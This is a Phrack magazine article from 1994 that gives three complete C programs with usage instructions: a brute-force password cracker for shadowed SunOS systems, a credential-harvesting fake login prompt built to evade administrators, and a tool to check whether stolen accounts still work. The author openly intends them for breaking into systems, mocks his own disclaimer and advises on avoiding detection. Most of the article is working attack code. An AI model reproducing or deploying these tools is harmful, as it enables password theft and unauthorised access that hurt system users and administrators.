==Phrack Magazine==

Volume Five, Issue Forty-Six, File 11 of 28

****

Unix Hacking Tools of the Trade

By

The Shining/UPi (UK Division)

Disclaimer :

The following text is for educational purposes only and I strongly suggest that it is not used for malicious purposes....yeah right!

Introduction :

Ok, I decided to release this phile to help out all you guys who wish to start hacking unix. Although these programs should compile & run on your system if you follow the instructions I have given, knowing a bit of C will come in handy if things go wrong. Other docs I suggest you read are older 'phrack' issues with shooting sharks various articles on unix, and of course, 'Unix from the ground up' by The Prophet.

This article includes three programs, a SUNOS Brute force Shadow password file cracker, The Ultimate Login Spoof, and a Unix Account Validator.

Shadow Crack

SUNOS Unix brute force shadow password file cracker

Well, a while back, I saw an article in phrack which included a brute force password cracker for unix. This was a nice idea, except that these days more and more systems are moving towards the shadow password scheme. This, for those of you who are new to unix, involves storing the actual encrypted passwords in a different file, usually only accessible to root. A typical entry from a System V R4 password file looks like this :-

root:x:0:1:Sys. admin:/:/bin/sh

with the actual encrypted password replaced by an 'x' in the /etc/passwd file. The encrypted password is stored in a file(in the case of sysV) called /etc/shadow which has roughly the following format :-

root:XyfgFekj95Fpq:::::

this includes the login i.d., the encrypted password, and various other

fields which hold info on password ageing etc...(no entry in the other fields indicate they are disabled).

Now this was fine as long as we stayed away from system V's, but now a whole load of other companies have jumped on the bandwagon from IBM (aix) to Suns SUNOS systems. The system I will be dealing with is SUNOS's shadowed system. Now, like sysV, SUNOS also have a system whereby the actual encrypted passwords are stored in a file usually called /etc/security/passwd.adjunct, and normally this is accessible only by root. This rules out the use of brute force crackers, like the one in phrack quite a while back, and also modern day programs like CRACK. A typical /etc/passwd file entry on shadowed SUNOS systems looks like this :-

root:##root:0:1:System Administrator:/:/bin/csh

with the 'shadow' password file taking roughly the same format as that of Sys V, usually with some extra fields.

However, we cannot use a program like CRACK, but SUNOS also supplied a function called pwdauth(), which basically takes two arguments, a login name and decrypted password, which is then encrypted and compared to the appropriate entry in the shadow file, thus if it matches, we have a valid i.d. & password, if not, we don't.

I therefore decided to write a program which would exploit this function, and could be used to get valid i.d's and passwords even on a shadowed system!

To my knowledge the use of the pwdauth() function is not logged, but I could be wrong. I have left it running for a while on the system I use and it has attracted no attention, and the administrator knows his shit. I have seen the functions getspwent() and getspwnam() in Sys V to manipulate the shadow password file, but not a function like pwdauth() that will actually validate the i.d. and password. If such a function does exist on other shadowed systems then this program could be very easily modified to work without problems.

The only real beef I have about this program is that because the pwdauth() function uses the standard unix crypt() function to encrypt the supplied password, it is very slow!!! Even in burst mode, a password file with 1000's of users could take a while to get through. My advice is to run it in the background and direct all its screen output to /dev/null like so :-

shcrack -mf -uroot -ddict1 > /dev/null &

Then you can log out then come back and check on it later!

The program works in a number of modes, all of which I will describe below, is command line driven, and can be used to crack both multiple accounts in the password file and single accounts specified. It is also NIS/NFS (Sun Yellow Pages) compatible.

How to use it
---

shcrack -m[mode] -p[password file] -u[user id] -d[dictionary file]

Usage :-

-m[mode] there are 3 modes of operation :-

-mb Burst mode, this scans the password file, trying the minimum number
     of password guessing strategies on every account.

-mi Mini-burst mode, this also scans the password file, and tries most
     password guessing strategies on every account.

-mf Brute-force mode, tries all password strategies, including the use
     of words from a dictionary, on a single account specified.

more about these modes in a sec, the other options are :-

-p[password file] This is the password file you wish to use, if this is
                   left unspecified, the default is /etc/passwd.
                   NB: The program automatically detects and uses the
                   password file wherever it may be in NIS/NFS systems.

-u[user id] The login i.d. of the account you wish to crack, this is used
             in Brute-force single user mode.

-d[dict file] This uses the words in a dictionary file to generate
               possible passwords for use in single user brute force
               mode. If no filename is specified, the program only uses the
               password guessing strategies without using the dictionary.

Modes
^^^^^

-mb Burst mode basically gets each account from the appropriate password
     file and uses two methods to guess its password. Firstly, it uses the
     account name as a password, this name is then reversed and tried as a
     possible password. This may seem like a weak strategy, but remember,
     the users passwords are already shadowed, and therefore are deemed to
     be secure. This can lead to sloppy passwords being used, and I have
     came across many cases where the user has used his/her i.d. as a
     password.

-mi Mini-burst mode uses a number of other password generating methods
    as well as the 2 listed in burst mode. One of the methods involves
    taking the login i.d. of the account being cracked, and appending the
    numbers 0 to 9 to the end of it to generate possible passwords. If
    this mode has no luck, it then uses the accounts gecos 'comment'
    information from the password file, splitting it into words and
    trying these as passwords. Each word from the comment field is also
    reversed and tried as a possible password.

-mf Brute-force single user mode uses all the above techniques for password
    guessing as well as using a dictionary file to provide possible
    passwords to crack a single account specified. If no dictionary filename
    is given, this mode operates on the single account using the
    same methods as mini-burst mode, without the dictionary.

Using shadow crack

To get program help from the command line just type :-

$ shcrack <RETURN>

which will show you all the modes of operation.

If you wanted to crack just the account 'root', located in
/etc/passwd(or elsewhere on NFS/NIS systems), using all methods
including a dictionary file called 'dict1', you would do :-

$ shcrack -mf -uroot -ddict1

to do the above without using the dictionary file, do :-

$ shcrack -mf -uroot

or to do the above but in password file 'miner' do :-

$ shcrack -mf -pminer -uroot

to start cracking all accounts in /etc/passwd, using minimum password
strategies do :-

$ shcrack -mb

to do the above but on a password file called 'miner' in your home
directory do :-

$ shcrack -mb -pminer

to start cracking all accounts in 'miner', using all strategies except
dictionary words do :-

$ shcrack -mi -pminer

ok, heres the code, ANSI C Compilers only :-

---cut here---

```
/* Program   : Shadow Crack
   Author    : (c)1994 The Shining/UPi (UK Division)
   Date      : Released 12/4/94
   Unix type : SUNOS Shadowed systems only */

#include <stdio.h>
#include <pwd.h>
#include <string.h>
#include <ctype.h>
#include <signal.h>

#define WORDSIZE 20     /* Maximum word size */
#define OUTFILE "data"  /* File to store cracked account info */
```

```
void word_strat( void ), do_dict( void );
void add_nums( char * ), do_comment( char * );
void try_word( char * ), reverse_word( char * );
void find_mode( void ), burst_mode( void );
void mini_burst( void ), brute_force( void );
void user_info( void ), write_details( char * );
void pwfile_name( void ), disable_interrupts( void ), cleanup();


char *logname, *comment, *homedir, *shell, *dict, *mode,
     *pwfile, *pwdauth();
struct passwd *getpwnam(), *pwentry;
extern char *optarg;
int option, uid, gid;


int main( int argc, char **argv )
{
disable_interrupts();
system("clear");

if (argc < 2) {
printf("Shadow Crack - (c)1994 The Shining\n");
printf("SUNOS Shadow password brute force cracker\n\n");
printf("useage: %s -m[mode] -p[pwfile] -u[loginid] ", argv[0]);
printf("-d[dictfile]\n\n\n");
printf("[b] is burst mode, scans pwfile trying minimum\n");
printf("    password strategies on all i.d's\n\n");
printf("[i] is mini-burst mode, scans pwfile trying both\n");
printf("    userid, gecos info, and numbers to all i.d's\n\n");
printf("[f] is bruteforce mode, tries all above stategies\n");
printf("    as well as dictionary words\n\n");
printf("[pwfile]   Uses the password file [pwfile], default\n");
printf("           is /etc/passwd\n\n");
printf("[loginid]  Account you wish to crack, used with\n");
printf("           -mf bruteforce mode only\n\n");
printf("[dictfile] uses dictionary file [dictfile] to\n");
printf("           generate passwords when used with\n");
printf("           -mf bruteforce mode only\n\n");
exit(0);
}


/* Get options from the command line and store them in different
   variables */

while ((option = getopt(argc, argv, "m:p:u:d:")) != EOF)
 switch(option)
 {
   case 'm':
           mode = optarg;
           break;

   case 'p':
           pwfile = optarg;
           break;

   case 'u':
           logname = optarg;
           break;
```

```
   case 'd':
           dict = optarg;
           break;

   default:
           printf("wrong options\n");
           break;
 }

find_mode();
}


/* Routine to redirect interrupts */

void disable_interrupts( void )
{
signal(SIGHUP, SIG_IGN);
 signal(SIGTSTP, cleanup);
  signal(SIGINT, cleanup);
 signal(SIGQUIT, cleanup);
signal(SIGTERM, cleanup);
}


/* If CTRL-Z or CTRL-C is pressed, clean up & quit */

void cleanup( void )
{
FILE *fp;

if ((fp = fopen("gecos", "r")) != NULL)
   remove("gecos");

if ((fp = fopen("data", "r")) == NULL)
   printf("\nNo accounts cracked\n");

printf("Quitting\n");
exit(0);
}


/* Function to decide which mode is being used and call appropriate
   routine */

void find_mode( void )
{
 if (strcmp(mode, "b") == NULL)
    burst_mode();
 else
 if (strcmp(mode, "i") == NULL)
    mini_burst();
 else
 if (strcmp(mode, "f") == NULL)
    brute_force();
 else
  {
    printf("Sorry - No such mode\n");
    exit(0);
  }
}
```

```
/* Get a users information from the password file */

void user_info( void )
{
  uid = pwentry->pw_uid;
   gid = pwentry->pw_gid;
    comment = pwentry->pw_gecos;
   homedir = pwentry->pw_dir;
  shell = pwentry->pw_shell;
}



/* Set the filename of the password file to be used, default is
   /etc/passwd */

void pwfile_name( void )
{
if (pwfile != NULL)
    setpwfile(pwfile);
}



/* Burst mode, tries user i.d. & then reverses it as possible passwords
   on every account found in the password file */

void burst_mode( void )
{
pwfile_name();
setpwent();

  while ((pwentry = getpwent()) != (struct passwd *) NULL)
  {
     logname = pwentry->pw_name;
      user_info();
      try_word( logname );
     reverse_word( logname );
  }

endpwent();
}


/* Mini-burst mode, try above combinations as well as other strategies
   which include adding numbers to the end of the user i.d. to generate
   passwords or using the comment field information in the password
   file */

void mini_burst( void )
{
pwfile_name();
setpwent();

  while ((pwentry = getpwent()) != (struct passwd *) NULL)
  {
     logname = pwentry->pw_name;
      user_info();
     word_strat();
  }
```

```
endpwent();
}


/* Brute force mode, uses all the above strategies as well using a
   dictionary file to generate possible passwords */

void brute_force( void )
{
pwfile_name();
setpwent();

  if ((pwentry = getpwnam(logname)) == (struct passwd *) NULL) {
     printf("Sorry - User unknown\n");
     exit(0);
  }
  else
  {
     user_info();
      word_strat();
     do_dict();
  }

endpwent();
}


/* Calls the various password guessing strategies */

void word_strat()
{
 try_word( logname );
  reverse_word( logname );
   add_nums( logname );
  do_comment( comment );
}


/* Takes the user name as its argument and then generates possible
   passwords by adding the numbers 0-9 to the end. If the username
   is greater than 7 characters, don't bother */

void add_nums( char *wd )
{
int i;
char temp[2], buff[WORDSIZE];

if (strlen(wd) < 8) {

  for (i = 0; i < 10; i++)
  {
      strcpy(buff, wd);
       sprintf(temp, "%d", i);
        strcat(wd, temp);
       try_word( wd );
      strcpy(wd, buff);
  }

 }
}
```

```
/* Gets info from the 'gecos' comment field in the password file,
   then process this information generating possible passwords from it */

void do_comment( char *wd )
{
FILE *fp;

char temp[2], buff[WORDSIZE];
int c,  flag;

flag = 0;


/* Open file & store users gecos information in it. w+ mode
   allows us to write to it & then read from it. */

if ((fp = fopen("gecos", "w+")) == NULL) {
    printf("Error writing gecos info\n");
   exit(0);
}

    fprintf(fp, "%s\n", wd);
   rewind(fp);

strcpy(buff, "");


/* Process users gecos information, separate words by checking for the
   ',' field separater or a space. */

while ((c = fgetc(fp)) != EOF)
{

 if (( c != ',' ) && ( c != ' ' )) {
     sprintf(temp, "%c", c);
    strncat(buff, temp, 1);
 }
 else
    flag = 1;


   if ((isspace(c)) || (c == ',') != NULL) {

     if (flag == 1) {
        c=fgetc(fp);

        if ((isspace(c)) || (iscntrl(c) == NULL))
           ungetc(c, fp);
     }

     try_word(buff);
      reverse_word(buff);
       strcpy(buff, "");
      flag = 0;
     strcpy(temp, "");
   }

}
fclose(fp);
```

```
remove("gecos");
}



/* Takes a string of characters as its argument(in this case the login
   i.d., and then reverses it */

void reverse_word( char *wd )
{
char temp[2], buff[WORDSIZE];
int i;

i = strlen(wd) + 1;
 strcpy(temp, "");
strcpy(buff, "");

 do
 {
    i--;
    if ((isalnum(wd[i]) || (ispunct(wd[i]))) != NULL) {
        sprintf(temp, "%c", wd[i]);
       strncat(buff, temp, 1);
    }

 } while(i != 0);

if (strlen(buff) > 1)
   try_word(buff);
}



/* Read one word at a time from the specified dictionary for use
   as possible passwords, if dictionary filename is NULL, ignore
   this operation */

void do_dict( void )
{
FILE *fp;
char buff[WORDSIZE], temp[2];
int c;

strcpy(buff, "");
strcpy(temp, "");


if (dict == NULL)
   exit(0);

   if ((fp = fopen(dict, "r")) == NULL) {
       printf("Error opening dictionary file\n");
      exit(0);
   }

rewind(fp);


 while ((c = fgetc(fp)) != EOF)
 {
  if ((c != ' ') || (c != '\n')) {
```

```
     strcpy(temp, "");
      sprintf(temp, "%c", c);
     strncat(buff, temp, 1);
  }

  if (c == '\n') {
    if (buff[0] != ' ')
       try_word(buff);

     strcpy(buff, "");
  }
 }

fclose(fp);
}


/* Process the word to be used as a password by stripping \n from
   it if necessary, then use the pwdauth() function, with the login
   name and word to attempt to get a valid id & password */

void try_word( char pw[] )
{
int pwstat, i, pwlength;
char temp[2], buff[WORDSIZE];

strcpy(buff, "");
pwlength = strlen(pw);

for (i = 0; i != pwlength; i++)
{

 if (pw[i] != '\n') {
     strcpy(temp, "");
     sprintf(temp, "%c", pw[i]);
    strncat(buff, temp, 1);
 }
}

 if (strlen(buff) > 3 ) {
     printf("Trying : %s\n", buff);

     if (pwstat = pwdauth(logname, buff) == NULL) {
         printf("Valid Password! - writing details to 'data'\n");

         write_details(buff);

        if (strcmp(mode, "f") == NULL)
           exit(0);
     }
 }
}



/* If valid account & password, store this, along with the accounts
   uid, gid, comment, homedir & shell in a file called 'data' */

void write_details( char *pw )
{
FILE *fp;
```

```
if ((fp = fopen(OUTFILE, "a")) == NULL) {
    printf("Error opening output file\n");
   exit(0);
}

fprintf(fp, "%s:%s:%d:%d:", logname, pw, uid, gid);
 fprintf(fp, "%s:%s:%s\n", comment, homedir, shell);
fclose(fp);
}
```

---cut here----------

again to compile it do :-

```
$ gcc shcrack.c -o shcrack
```

or

```
$ acc shcrack.c -o shcrack
```

this can vary depending on your compiler.

The Ultimate Login Spoof

Well this subject has been covered many times before but its a while since I have seen a good one, and anyway I thought other unix spoofs have had two main problems :-

1) They were pretty easy to detect when running
2) They recorded any only shit entered.....

Well now I feel these problems have been solved with the spoof below. Firstly, I want to say that no matter how many times spoofing is deemed as a 'lame' activity, I think it is very underestimated.

When writing this I have considered every possible feature such a program should have. The main ones are :-

1) To validate the entered login i.d. by searching for it in the password file.

2) Once validated, to get all information about the account entered including - real name etc from the comment field, homedir info (e.g. /homedir/miner) and the shell the account is using and store all this in a file.

3) To keep the spoofs tty idle time to 0, thus not to arouse the administrators suspicions.

4) To validates passwords before storing them, on all unshadowed unix systems & SUNOS shadowed/unshadowed systems.

5) To emulates the 'sync' dummy account, thus making it act like the real login program.

6) Disable all interrupts(CTRL-Z, CTRL-D, CTRL-C), and automatically
   quit if it has not grabbed an account within a specified time.

7) To automatically detect & display the hostname before the login prompt
   e.g. 'ccu login:', this feature can be disabled if desired.

8) To run continuously until a valid i.d. & valid password are entered.

As well as the above features, I also added a few more to make the spoof 'foolproof'. At university, a lot of the users have been 'stung' by login spoofs in the past, and so have become very conscious about security.

For example, they now try and get around spoofs by entering any old crap when prompted for their login name, or to hit return a few times, to prevent any 'crappy' spoofs which may be running. This is where my spoof shines!, firstly if someone was to enter -

login: dhfhfhfhryr
Password:

into the spoof, it checks to see if the login i.d. entered is valid by searching for it in the password file. If it exists, the spoof then tries to validate the password. If both the i.d. & password are valid, these will be stored in a file called .data, along with additional information about the account taken directly from the password file.

Now if, as in the case above, either the login name or password is incorrect, the information is discarded, and the login spoof runs again, waiting for a valid user i.d. & password to be entered.

Also, a lot of systems these days have an unpassworded account called 'sync', which when logged onto, usually displays the date & time the sync account was last logged into, and from which server or tty, the message of the day, syncs the disk, and then logs you straight out.

A few people have decided that the best way to dodge login spoofs is to first login to this account then when they are automatically logged out, to login to their own account.

They do this firstly, so that if a spoof is running it only records the details of the sync account and secondly the spoof would not act as the normal unix login program would, and therefore they would spot it and report it, thus landing you in the shit with the system administrator.

However, I got around this problem so that when someone tries to login as sync (or another account of a similar type, which you can define), it acts exactly like the normal login program would, right down to displaying the system date & time as well as the message of the day!!

The idle time facility

One of the main problems with unix spoofs, is they can be spotted so easily by the administrator, as he/she could get a list of current users on the system and see that an account was logged on, and had been idle for maybe 30 minutes. They would then investigate & the spoof

would be discovered.

I have therefore incorporated a scheme in the spoof whereby approx. every minute, the tty the spoof is executed from, is 'touched' with the current time, this effectively simulates terminal activity & keeps the terminals idle time to zero, which helps the spoofs chances of not being discovered greatly.

The spoof also incorporates a routine which will automatically keep track of approximately how long the spoof has been running, and if it has been running for a specified time without grabbing an i.d. or password, will automatically exit and run the real login program.
This timer is by default set to 12.5 minutes, but you can alter this time if you wish.

Note: Due to the varying processing power of some systems, I could not set the timer to exactly 60 seconds, I have therefore set it to 50, incase it loses or gains extra time. Take this into consideration when setting the spoofs timer to your own value. I recommend you stick with the default, and under no circumstances let it run for hours.

Password Validation techniques

The spoof basically uses 2 methods of password validation(or none at all on a shadowed system V). Firstly, when the spoof is used on any unix with an unshadowed password file, it uses the crypt function to validate a password entered. If however the system is running SUNOS 4.1.+ and incorporates the shadow password system, the program uses a function called pwdauth(). This takes the login i.d. & decrypted password as its arguments and checks to see if both are valid by encrypting the password and comparing it to the shadowed password file which is usually located in /etc/security and accessible only by root. By validating both the i.d. & password we ensure that the data which is saved to file is correct and not any old bullshit typed at the terminal!!!

Executing the Spoof

ok, now about the program. This is written in ANSI-C, so I hope you have a compatible compiler, GCC or suns ACC should do it. Now the only time you will need to change to the code is in the following circumstances :-

1) If you are to compile & run it on an unshadowed unix, in which case remove all references to the pwdauth() function, from both the declarations & the shadow checking routine, add this code in place of the shadow password checking routine :-

```
if ( shadow == 1 ) {
     invalid = 0;
  else
     invalid = 1;
}
```

2) Add the above code also to the spoof if you are running this on a system

V which is shadowed. In this case the spoof loses its ability to validate the password, to my knowledge there is no sysV equivalent of the pwdauth() function.

Everything else should be pretty much compatible. You should have no problems compiling & running this on an unshadowed SUNOS machine, if you do, make the necessary changes as above, but it compiled ok on every unshadowed SUNOS I tested it on. The Spoof should automatically detect whether a SUNOS system is shadowed or unshadowed and run the appropriate code to deal with each situation.

Note: when you have compiled this spoof, you MUST 'exec' it from the current shell for it to work, you must also only have one shell running. e.g. from C or Bourne shell using the GNU C Compiler do :-

```
$ gcc spoof.c -o spoof
$ exec spoof
```

This replaces the current shell with the spoof, so when the spoof quits & runs the real login program, the hackers account is effectively logged off.

ok enough of the bullshit, here's the spoof :-

----------cut here---

```
/* Program   : Unix login spoof
   Author    : The Shining/UPi (UK Division)
   Date      : Released 12/4/94
   Unix Type : All unshadowed unix systems &
               shadowed SUNOS systems
   Note      : This file MUST be exec'd from the shell. */


#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <pwd.h>
#include <time.h>
#include <utime.h>

#define OUTFILE ".data"           /* Data file to save account info into */
#define LOGPATH "/usr/bin/login"  /* Path of real login program */
#define DUMMYID "sync"            /* Dummy account on your system */
#define DLENGTH 4                 /* Length of dummy account name */


FILE *fp;


/* Set up variables to store system time & date */

time_t now;

static int time_out, time_on, no_message, loop_cnt;


/* Set up a structure to store users information */

struct loginfo {
              char logname[10];
```

```
              char key[9];
              char *comment;
              char *homedir;
              char *shell;
            } u;


/* Use the unix function getpass() to read user password and
   crypt() or pwdauth()  (remove it below if not SUNOS)
   to validate it etc */


char *getpass(), *gethostname(), *alarm(), *sleep(),
     *crypt(), *ttyname(), *pwdauth(), motd, log_date[60],
     pass[14], salt[3], *tty, cons[] = " on console ",
     hname[72], *ld;


/* flag = exit status, ppid = pid shell, wait = pause length,
   pwstat = holds 0 if valid password, shadow holds 1 if shadow
   password system is being used, 0 otherwise. */

int flag, ppid, wait, pwstat, shadow, invalid;


/* Declare main functions */

     void write_details(struct loginfo *);
     void catch( void ), disable_interrupts( void );
     void log_out( void ), get_info( void ),
          invalid_login( void ), prep_str( char * );


/* set up pointer to point to pwfile structure, and also
   a pointer to the utime() structure */


struct passwd *pwentry, *getpwnam();
struct utimbuf *times;


int main( void )
{
system("clear");

/* Initialise main program variables to 0, change 'loop_cnt' to 1
   if you do not want the machines host name to appear with
   the login prompt! (e.g. prompt is `login:` instead of
   'MIT login:'  etc) */

     wait = 3;               /* Holds value for pause */
      flag = 0;              /* Spoof ends if value is 1 */
       loop_cnt = 0;         /* Change this to 1 if no host required */
       time_out = 0;         /* Stops timer if spoof has been used */
      time_on = 0;           /* Holds minutes spoof has been running */
     disable_interrupts();   /* Call function to disable Interrupts */


/* Get system time & date and store in log_date, this is
   displayed when someone logs in as 'sync' */
```

```
 now = time(NULL);
  strftime(log_date, 60, "Last Login: %a %h %d %H:%M:%S", localtime(&now));
  strcat(log_date, cons);
 ld = log_date;


/* Get Hostname and tty name */

gethostname(hname, 64);
 strcat(hname, " login: ");
tty = ttyname();


/* main routine */

  while( flag == 0 )
  {
       invalid = 0;        /* Holds 1 if id +/or pw are invalid */
        shadow = 0;        /* 1 if shadow scheme is in operation */
         no_message = 0;   /* Flag for Login Incorrect msg */
        alarm(50);         /* set timer going */
       get_info();         /* get user i.d. & password */


/* Check to see if the user i.d. entered is 'sync', if it is
   display system time & date, display message of the day and
   then run the spoof again, insert the account of your
   choice here, if its not sync, but remember to put
   the length of the accounts name next to it! */

     if (strncmp(u.logname, DUMMYID, DLENGTH) == NULL) {
        printf("%s\n", ld);

          if ((fp = fopen("/etc/motd", "r")) != NULL) {
              while ((motd = getc(fp)) != EOF)
                     putchar(motd);

              fclose(fp);
          }

           printf("\n");
             prep_str(u.logname);
             no_message = 1;
           sleep(wait);
     }


/* Check if a valid user i.d. has been input, then check to see if
   the password system is shadowed or unshadowed.
   If both the user i.d. & password are valid, get additional info
   from the password file, and store all info in a file called .data,
   then exit spoof and run real login program */

    setpwent();   /* Rewind pwfile to beign processing */


    if ((pwentry = getpwnam(u.logname)) == (struct passwd *) NULL) {
         invalid = 1;
        flag = 0;
    }
    else
```

```
       strncpy(salt, pwentry->pw_passwd, 2);


/* Check for shadowed password system, in SUNOS, the field in /etc/passwd
   should begin with '##', in system V it could contain an 'x', if none
   of these exist, it checks that the entry = 13 chars, if less then
   shadow system will probably be implemented (unless acct has been
   disabled) */

 if ( invalid == 0 ) {

       if ((strcmp(salt, "##")) || (strncmp(salt, "x", 1)) == NULL)
           shadow = 1;
       else
          if (strlen(pwentry->pw_passwd) < 13)
             shadow = 1;


/* If unshadowed, use the salt from the pwfile field & the key to
   form the encrypted password which is checked against the entry
   in the password file, if it matches, then all is well, if not,
   spoof runs again!! */

    if ( shadow != 1 ) {

      if (strcmp(pwentry->pw_passwd, crypt(u.key, salt)) == NULL)
         invalid = 0;
      else
         invalid = 1;
    }


/* If SUNOS Shadowing is in operation, use the pwdauth() function
   to validate the password, if not SUNOS, substitute this code
   with the routine I gave earlier! */

       if ( shadow == 1 ) {
          if (pwstat = pwdauth(u.logname, u.key) == NULL)
             invalid = 0;
          else
             invalid = 1;
       }
}


/* If we have a valid account & password, get user info from the
   pwfile & store it */

        if ( invalid == 0 ) {

           u.comment = pwentry->pw_gecos;
            u.homedir = pwentry->pw_dir;
           u.shell = pwentry->pw_shell;

          /* Open file to store user info */

           if ((fp = fopen(OUTFILE, "a")) == NULL)
              log_out();

               write_details(&u);
                fclose(fp);
```

```
                no_message = 1;
               flag = 1;
        }
        else
           flag = 0;

        invalid_login();

    endpwent();                          /* Close pwfile */

    if (no_message == 0)
       loop_cnt++;

  }                                     /* end while */

log_out();                              /* call real login program */

}


/* Function to read user i.d. & password */

void get_info( void )
{
   char user[11];
   unsigned int string_len;

   fflush(stdin);
    prep_str(u.logname);
    prep_str(u.key);
   strcpy(user, "\n");


/* Loop while some loser keeps hitting return when asked for user
   i.d. and if someone hits CTRL-D to break out of spoof. Enter
   a # at login to exit spoof. Uncomment the appropriate line(s)
   below to customise the spoof to look like your system */

  while ((strcmp(user, "\n") == NULL) && (!feof(stdin)))
  {
   /* printf("Scorch Ltd SUNOS 4.1.3\n\n); */

    if (loop_cnt > 0)
       strcpy(hname, "login: ");

      printf("%s", hname);
      fgets(user, 9, stdin);


   /* Back door for hacker, # at present, can be changed,
      but leave \n in. */

     if (strcmp(user, "#\n") == NULL)
         exit(0);


    /* Strip \n from login i.d. */

     if (strlen(user) < 8)
        string_len = strlen(user) - 1;
     else
```

```
        string_len = strlen(user);

     strncpy(u.logname, user, string_len);



/* check to see if CTRL-D has occurred because it does not
   generate an interrupt like CTRL-C, but instead generates
   an end-of-file on stdin */

     if (feof(stdin)) {
         clearerr(stdin);
        printf("\n");
     }

  }



/* Turn off screen display & read users password */

     strncpy(u.key, getpass("Password:"), 8);

}



/* Function to increment the timer which holds the amount of time
   the spoof has been running */

void catch( void )
{
  time_on++;


/* If spoof has been running for 15 minutes, and has not
   been used, stop timer and call spoof exit routine */

if ( time_out == 0 ) {
   if (time_on == 15) {
       printf("\n");
        alarm(0);
       log_out();
   }
}


/* 'Touch' your tty, effectively keeping terminal idle time to 0 */

 utime(tty, times);
alarm(50);
}



/* Initialise a string with \0's */

void prep_str( char str[] )
{
int strl, cnt;
```

```
strl = strlen(str);
for (cnt = 0; cnt != strl; cnt++)
    str[cnt] = ' ';
}


/* function to catch interrupts, CTRL-C & CTRL-Z etc as
   well as the timer signals */

void disable_interrupts( void )
{
   signal(SIGALRM, catch);
    signal(SIGQUIT, SIG_IGN);
     signal(SIGTERM, SIG_IGN);
    signal(SIGINT, SIG_IGN);
   signal(SIGTSTP, SIG_IGN);
}


/* Write the users i.d., password, personal information, homedir
   and shell to a file */

void write_details(struct loginfo *sptr)
{

   fprintf(fp, "%s:%s:", sptr->logname, sptr->key);
    fprintf(fp, "%d:%d:", pwentry->pw_uid, pwentry->pw_gid);
     fprintf(fp, "%s:%s:", sptr->comment, sptr->homedir);
    fprintf(fp, "%s\n", sptr->shell);
   fprintf(fp, "\n");
}



/* Display login incorrect only if the user hasn't logged on as
   'sync' */

void invalid_login( void )
{

         if ( flag == 1 && pwstat == 0 )
            sleep(wait);

         if ( no_message == 0 )
            printf("Login incorrect\n");
}


/* Displays appropriate message, exec's the real login program,
   this replaces the spoof & effectively logs spoof's account off.
   Note: this spoof must be exec'd from the shell to work */

void log_out( void )
{
  time_out = 1;

   if ( no_message == 1 ) {
        sleep(1);
       printf("Login incorrect\n");
   }
```

```
   execl(LOGPATH, "login", (char *)0);
}
```

```
----------cut here-----------------------------------------------------
```

then delete the source, run it and wait for some sucker to login!.
If you do initially run this spoof from your account, I suggest you
remove it when you have grabbed someone's account and run it from theirs
from then on, this reduces your chances of being caught!

User i.d. & Password Validator

Now if you are familiar with the unix Crack program, as I'm sure most of
you are ;-), or if you have used my spoof to grab some accounts,
this little program could be of some use. Say you have snagged
quit a few accounts, and a few weeks later you wanna see if they are still
alive, instead of logging onto them, then logging out again 20 or 30 times
which can take time, and could get the system admin looking your way, this
program will continuously ask you to enter a user i.d. & password, then
validate them both by actually using the appropriate entry in the password
file. All valid accounts are then stored along with other info from the
password file, in a data file. The program loops around until you stop it.

This works on all unshadowed unix systems, and, you guessed it!, shadowed
SUNOS systems.

If you run it on an unshadowed unix other than SUNOS, remove all references
to pwdauth(), along with the shadow password file checking routine,
if your on sysV, your shit outa luck! anyway, here goes :-

```
---cut here-----------------------------------------------------------------

/* Program   : To validate accounts & passwords on both
               shadowed & unshadowed unix systems.
   Author    : The Shining/UPi (UK Division)
   Date      : Released 12/4/94
   UNIX type : All unshadowed systems, and SUNOS shadowed systems */


#include <stdio.h>
#include <string.h>
#include <pwd.h>


FILE *fp;


int pw_system( void ), shadowed( void ), unshadowed( void );
void write_info( void ), display_notice( void );

struct passwd *pwentry, *getpwnam();

struct user {
       char logname[10];
       char key[9];
```

```
       char salt[3];
} u;


char *getpass(), *pwdauth(), *crypt(), ans[2];
int invalid_user, stat;


int main( void )
{

 strcpy(ans, "y");

 while (strcmp(ans, "y") == NULL)
 {
   invalid_user = stat = 0;
    display_notice();
     printf("Enter login id:");
    scanf("%9s", u.logname);
   strcpy(u.key, getpass("Password:"));


 setpwent();

   if ((pwentry = getpwnam(u.logname)) == (struct passwd *) NULL)
      invalid_user = 1;
   else
      strncpy(u.salt, pwentry->pw_passwd, 2);


 if (invalid_user != 1) {

   if ((stat = pw_system()) == 1) {
      if ((stat = unshadowed()) == NULL) {
           printf("Unshadowed valid account! - storing details\n");
          write_info();
      }
   }
   else
     if ((stat = shadowed()) == NULL) {
          printf("SUNOS Shadowed valid account! - storing details\n");
         write_info();
     }
     else
        invalid_user = 2;

 }


    if (invalid_user == 1)
       printf("User unknown/not found in password file\n");

    if (invalid_user == 2 )
       printf("Password invalid\n");

       printf("\n\nValidate another account?(y/n): ");
       scanf("%1s", ans);


 endpwent();
 }
```

```
}


/* Check to see if shadow password system is used, in SUNOS the field
   in /etc/passwd starts with a '#', if not, check to see if entry
   is 13 chars, if not shadow must be in use. */

int pw_system( void )
{
   if (strlen(pwentry->pw_passwd) != 13)
      return(0);
   else
      if (strcmp(u.salt, "##") == NULL)
         return(0);
      else
         return(1);
}


/* If system is unshadowed, get the 2 character salt from the password
   file, and use this to encrypt the password entered. This is then
   compared against the password file entry. */

int unshadowed( void )
{
if (pwentry->pw_passwd == crypt(u.key, u.salt))
   return(0);
else
   return(1);
}


/* If SUNOS shadowe system is used, use the pwdauth() function to validate
   the password stored in the /etc/security/passwd.adjunct file */

int shadowed( void )
{
int pwstat;

if (pwstat = pwdauth(u.logname, u.key) == NULL)
   return(0);
else
   return(1);
}


/* Praise myself!!!! */

void display_notice( void )
{
system("clear");
 printf("Unix Account login id & password validator.\n");
 printf("For all unshadowed UNIX systems & shadowed SUNOS only.\n\n");
printf("(c)1994 The Shining\n\n\n\n");
}


/* Open a file called 'data' and store account i.d. & password along with
   other information retrieved from the password file */

void write_info( void )
```

```
{

/* Open a file & store account information from pwfile in it */

if ((fp = fopen("data", "a")) == NULL) {
     printf("error opening output file\n");
    exit(0);
}

fprintf(fp, "%s:%s:%d:", u.logname, u.key, pwentry->pw_uid);
 fprintf(fp, "%d:%s:", pwentry->pw_gid, pwentry->pw_gecos);
 fprintf(fp, "%s:%s\n", pwentry->pw_dir, pwentry->pw_shell);
fclose(fp);
}

-----cut here---------------------------------------------------------------
```

